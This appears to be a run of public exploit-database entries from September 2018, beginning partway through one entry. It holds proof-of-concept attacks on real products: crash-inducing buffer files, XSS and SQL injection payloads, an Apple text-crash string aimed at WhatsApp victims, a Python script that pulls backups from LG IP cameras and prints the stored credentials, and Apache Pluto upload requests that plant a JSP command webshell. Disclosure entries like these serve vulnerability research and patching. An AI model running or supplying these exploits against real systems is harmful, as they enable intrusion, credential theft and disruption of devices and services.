# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. When inside the program click "Database" > "Custom fields settings..."
# Now paste the contents of "exploit.txt" into the fields:"Label"
# Click the "OK" button and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 7000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
            
# Exploit Title: iCash 7.6.5 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-12
# Software Link: https://www.maxprog.com/site/misc/downloads_us.php
# Tested Version: 7.6.5
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. When inside the program click "File" > "Connect to Server..."
# Now paste the contents of "exploit.txt" into the fields:"Host"
# Click the "Connect" button and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 7000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
            
# Exploit Author: bzyo
# CVE: CVE-2018-10763
# Twitter: @bzyo_
# Exploit Title: SynaMan 4.0 - Authenticated Cross Site Scripting (XSS)
# Date: 09-12-18
# Vulnerable Software: SynaMan 4.0 build 1488
# Vendor Homepage: http://web.synametrics.com/SynaMan.htm
# Version: 4.0 build 1488
# Software Link: http://web.synametrics.com/SynaManDownload.htm
# Tested On: Windows 7 x86
  
Description
-----------------------------------------------------------------
SynaMan 4.0 suffers from Authenticated Cross Site Scripting (XSS)


Prerequisites
-----------------------------------------------------------------
Admin access to Synaman web console
 
Proof of Concept
-----------------------------------------------------------------
From Configuration > Advanced Configuration > Partial Branding
- Main heading
- Sub heading

If one were to apply the following XSS payload in either of the fields, alert pop-ups with xss would be present on navigation throughout the web app

<script>alert("xss");</script>

While Chrome does block the XSS payload on apply, simply hitting the back button and selecting "Explore" the payload is stored

 
Timeline
---------------------------------------------------------------------
05-07-18: Vendor notified of vulnerabilities
05-08-18: Vendor responded and will fix 
07-25-18: Vendor fixed in new release
09-12-18: Submitted public disclosure
            
# Exploit Title: LG Smart IP Camera 1508190 - Backup File Download
# Date: 2018-09-11
# Exploit Author: Ege Balci
# Vendor Homepage: https://www.lg.com
# Software version: 1310250 <= 1508190
# Model: LNB*/LND*/LNU*/LNV*
# CVE: CVE-2018-16946

# Description: smart network camera devices have broken access control. Attackers are able to 
# download /updownload/t.report (aka Log & Report) files and download backup files (via download.php) 
# without authenticating. These backup files contain user credentials and configuration information for 
# the camera device. An attacker is able to discover the backup filename via reading the system logs or 
# report data, or just by brute-forcing the backup filename pattern. It may be possible to authenticate 
# to the admin account with the admin password.

# lg_smart_ip.py

#!/usr/bin/python3

import os
import sys
import sqlite3
import tarfile
import requests    
import datetime
import threading

if len(sys.argv) < 2:
    print("Usage:\n\t"+sys.argv[0]+" <TARGET-URL>")
    exit(0)

print("#==========================================================================#")
print("# Exploit Title: LG Smart IP Device Backup Download")
print("# Date: 09-11-2018")
print("# Exploit Author: Ege Balcı")
print("# Vendor Homepage: https://www.lg.com")
print("# Model: LNB*/LND*/LNU*/LNV*")
print("# CVE: CVE-2018-16946")
print("#==========================================================================#\n\n")

model_version_list = ["2219.0.0.1505220","2745.0.0.1508190","1954.0.0.1410150", "1030.0.0.1310250"] 

# First try the default login creds...
headers = {'Authorization': 'Basic YWRtaW46YWRtaW4='}
default = requests.get(sys.argv[1]+"/httpapi?GetDeviceInformation", headers=headers)
if "Model:" in default.text:
    print("[+] Default password works  (admin:admin)")
    # exit(0)


def brute(model_version):
    date = datetime.datetime.now()
    u = (['\\','|','/','-'])

    for i in range(0,3650): # No need to go back futher these cameras didn't existed 10 years ago 
        sys.stdout.flush()
        sys.stdout.write("\r[*] Bruteforing backup date...{0}".format(u[i%4]))

        log_date = date.strftime("%y")
        log_date += date.strftime("%m")
        log_date += date.strftime("%d")        

        url = "/download.php?file="
        backup_name = "backup_"
        backup_name += log_date
        backup_name += "_"+model_version+".config"

        
        ContentLength = requests.head(sys.argv[1]+url+backup_name,stream=True).headers["Content-Length"]
        if ContentLength != "":
            backup = requests.get(sys.argv[1]+url+backup_name)
            print("\n[+] Backup file found !")
            print("[+] "+backup_name+" -> "+str(len(backup.content))+"\n")
            backup_file = open(backup_name+".tar.gz","wb")
            backup_file.write(backup.content)
            backup_file.close()
            tar = tarfile.open(str(backup_name+".tar.gz"),mode="r:gz")
            for member in tar.getnames():
                # Print contents of every file
                print("[>] "+member)
                mem = open(member,"wb")
                mem.write(tar.extractfile(member).read())
            
            
            conn = sqlite3.connect('mipsca.db')
            c = conn.cursor()
            users = c.execute("SELECT * FROM User")
            print("#=============== SUCCESS ===============#")
            for u in users:
                print("\n[#] Username: "+u[0])
                print("[#] Password: "+u[1])
            os.system("rm mipsca.db ConfigInfo.txt "+ backup_name+".tar.gz")
            break
        date = (date-datetime.timedelta(days=1))



report = requests.get(sys.argv[1]+"/updownload/t.report",verify=False)
if report.status_code != 200:
    print("[-] Target device don't have report data :(")
    jobs = []
    for mv in model_version_list:
        t = threading.Thread(target=brute(mv))
        jobs.append(t)

    for j in jobs:
        j.start()
else:
    model_id = (((report.text.split("= "))[1]).split("\n"))[0]
    print("[+] Model ID: "+model_id)
    version = (((report.text.split("= "))[2]).split("\n"))[0]
    print("[+] Version: "+version)
    brute(model_id+"."+version)
            
# Exploit Title: MyBB 1.8.17 - Cross-Site Scripting
# Date: 2018-08-11
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://mybb.com/download/
# Version: 1.8.17
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-15596

# 1. Description:
# On the forum RSS Syndication page you can generate a URL for example... 
# http://localhost/syndication.php?fid=&type=atom1.0&limit=15, the thread titles on 
# those generated links aren't sanitized. 
 
# 2. Proof of Concept:

- Make or find a thread of yours on the RSS feed
- Use this payload as the thread title  <a href="//google.com">Cool Thread Title</a>
- View RSS feed with your thread again but with the generated URL and click on your thread
- When the thread is clicked you will be redirected to google.com
            
# Exploit Title: [Unauthenticated Remote SQLi]
# Date: [11/09/2018]
# Exploit Author: [Mohamed Sayed - From SecureMisr Company]
# Vendor Homepage: [https://www-01.ibm.com/support/docview.wss?uid=ibm10728883]
# Version: [IGI 5.2.3.2] (REQUIRED)
# Tested on: [Windows 10]
# CVE : [CVE-2018-1756]

Hello ,
IBM IGI version 5.2.3.2 is suffering from unauthenticated remote SQLi
The vulnerability enable *remote unauthenticated* attacker to take over the
server database and affect the confidentiality , integrity and availability
of the system ,

The vulnerability is in the survey end point API
/survey/api/config?userId=XXX

The userId parameter value is injected directly to a sql query without
sensitization nor validation and by exploiting it the attacker will be able
to gain access on the server database

SAMPLE of Vulnerable HTTP Request

GET /survey/api/config?userId=VUL HTTP/1.1
Host: HOST_IP
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
Accept: */*
Referer: https://HOST_IP
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Payload sample :
userId=1 'AND 1=1 AND '2'='2
            
# Exploit Title: Apple MacOS 10.13.4 - Denial of Service (PoC)
# Date: 2018-09-10
# Exploit Author: Sriram (@Sri_Hxor)
# Vendor Homepage: https://support.apple.com/en-in/HT208848
# Tested on: macOS High Sierra 10.13.4, iOS 11.3, tvOS 11.3, watchOS 4.3.0
# CVE : CVE-2018-4240 (2018)
# POC : https://medium.com/@thesriram/cold-war-between-single-message-vs-mbbs-d5e004d64eaf

# Crashing Phone via RLM character. 
# Steps to Reproduce, 

# Run the below python script as "python apple.py", it will create a file called "dos_apple.txt"
# Copy the text from the generated apple.txt
# Paste it in WhatsApp and send it, victim gotta click and it will start crashing

end = "&#8238;ereh-hcuot-t'nod"
dos = "&lrm;&rlm;"
payload = dos*1000 + end
try:
    f=open("dos_apple.txt","w")
    print "[+] Creating %s DOS payload for apple..." % ((len(payload)-len(end))/len(dos))
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "Can't create a file, check DIR permissions?"
            
# Exploit Title: Infiltrator Network Security Scanner 4.6 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-12
# Software Link: https://www.infiltration-systems.com/download.shtml
# Tested Version: 4.6
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program.
# Now paste the contents of "exploit.txt" into the fields:"Scan Target"
# Click the "Scan" button, wait and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
            
# Exploit Title: Apache Portals Pluto 3.0.0 - Remote Code Execution
# Date: 2018-09-12
# Exploit Author: Che-Chun Kuo
# Vendor Homepage: https://portals.apache.org/pluto/
# Software Link: http://archive.apache.org/dist/portals/pluto/
# Version: 3.0.0
# Tested on: Windows
# Advisory: https://portals.apache.org/pluto/security.html
# Other Vulnerability Types: Authentication bypass, directory traversal, arbitrary file upload
# CVE: CVE-2018-1306

# Vulnerability 1: Authentication bypass via HTTP verb tampering
# Description: Apache Pluto uses web.xml security constraints to control access to resources. 
# These security constraints have been insecurely defined allowing authentication to be bypassed. 
# When specific http methods are listed within a security constraint, then only those 
# methods are protected. Pluto defines the following http methods: GET, POST, and PUT. 
# Since the HEAD method is not listed, a request with a HTTP HEAD method effectively 
# circumvents the security policy.

# Vulnerability 2: Remote code execution via arbitrary file upload
# Description: An attacker can call the PortletV3AnnotatedDemo Multipart Portlet and upload 
# an arbitrary file. The uploaded file is directly accessible within 
# the /PortletV3AnnotatedDemo/temp/ directory. This technique allows an unauthenticated 
# attacker to install a malicious JSP file and remotely execute code on a server running Apache Pluto.
# Insecure Remediation: This vulnerability was mitigated by moving the /temp directory 
# outside the /webapps directory and under the Tomcat directory. 

# Vulnerability 3: Directory traversal in multipart file upload 
# Description: Apache Pluto's multipart file uploader is vulnerable to directory traversal. 
# An attacker is able to upload a file outside the default /temp directory to an arbitrary location 
# on the filesystem. The following filename will drop a JSP webshell 
# into the /webapps/pluto public directory: filename="../../../webapps/pluto/jspshell.jsp". 
# Leveraging this technique, remote code execution via webshell is still possible despite 
# remediation in Vulnerability 2. 

# PROOF OF CONCEPT
# UPLOAD REQUEST 1 - TEMP DIR INSIDE WEBROOT

HEAD /pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%21-1517407963%7C0;0/__ac0 HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=XX
Content-Length: 727

--XX
Content-Disposition: form-data; name="file"; filename="jspshell.jsp"
Content-Type: application/octet-stream

<FORM METHOD=GET ACTION='jspshell.jsp'>
CMD: <INPUT name='cmd' type=text  value="cmd /c dir">
<INPUT type=submit value='Run'></FORM>
<%@ page import="java.io.*" %>
<%
	String cmd = "whoami";
	String param = request.getParameter("cmd");
	if (param != null){ cmd = param; }
	String s = null;
	String output = "";
	try {
	Process p = Runtime.getRuntime().exec(cmd);
	BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
	while((s = sI.readLine()) != null) { output += s+"\r\n"; }
	}  catch(IOException e) { e.printStackTrace(); }
%>
<pre><%=output %></pre>
--XX--

# UPLOAD REQUEST 2 - TEMP DIR OUTSIDE WEBROOT

HEAD /pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%21-1517407963%7C0;0/__ac0 HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=XX
Content-Length: 748

--XX
Content-Disposition: form-data; name="file"; filename="../../../webapps/pluto/jspshell.jsp"
Content-Type: application/octet-stream

<FORM METHOD=GET ACTION='jspshell.jsp'>
CMD: <INPUT name='cmd' type=text  value="cmd /c dir">
<INPUT type=submit value='Run'></FORM>
<%@ page import="java.io.*" %>
<%
	String cmd = "whoami";
	String param = request.getParameter("cmd");
	if (param != null){ cmd = param; }
	String s = null;
	String output = "";
	try {
	Process p = Runtime.getRuntime().exec(cmd);
	BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
	while((s = sI.readLine()) != null) { output += s+"\r\n"; }
	}  catch(IOException e) { e.printStackTrace(); }
%>
<pre><%=output %></pre>
--XX--

# EXECUTE CMD
----------------------------------------
http://localhost:8080/pluto/jspshell.jsp?cmd=hostname
            
# Exploit Title: InduSoft Web Studio 8.1 SP1 - 'Tag Name' Buffer Overflow (SEH)
# Discovery by: Luis Martinez
# Discovery Date: 2018-09-11
# Vendor Homepage: http://www.indusoft.com/
# Software Link: http://www.indusoft.com/Products-Downloads
# Tested Version: 8.1 SP1
# Vulnerability Type: Local Buffer Overflow (SEH Unicode)
# Tested on OS: Windows 10 Pro x64 en
 
# Steps to Produce the Local Buffer Overflow (SEH Unicode): 
# 1.- Run python code: InduSoft_Web_Studio_8.1.py
# 2.- Open InduSoft_Web_Studio_8.1.txt and copy content to clipboard
# 3.- Open IWS v8.1 InduSoft Web Studio
# 4.- Home
# 5.- Paste ClipBoard on "Tag Name"
 
#!/usr/bin/env python

nSEH = "\x42\x42"
SEH = "\x43\x43"
 
buffer = "\x41" * 1042 + nSEH + SEH
f = open ("InduSoft_Web_Studio_8.1.txt", "w")
f.write(buffer)
f.close()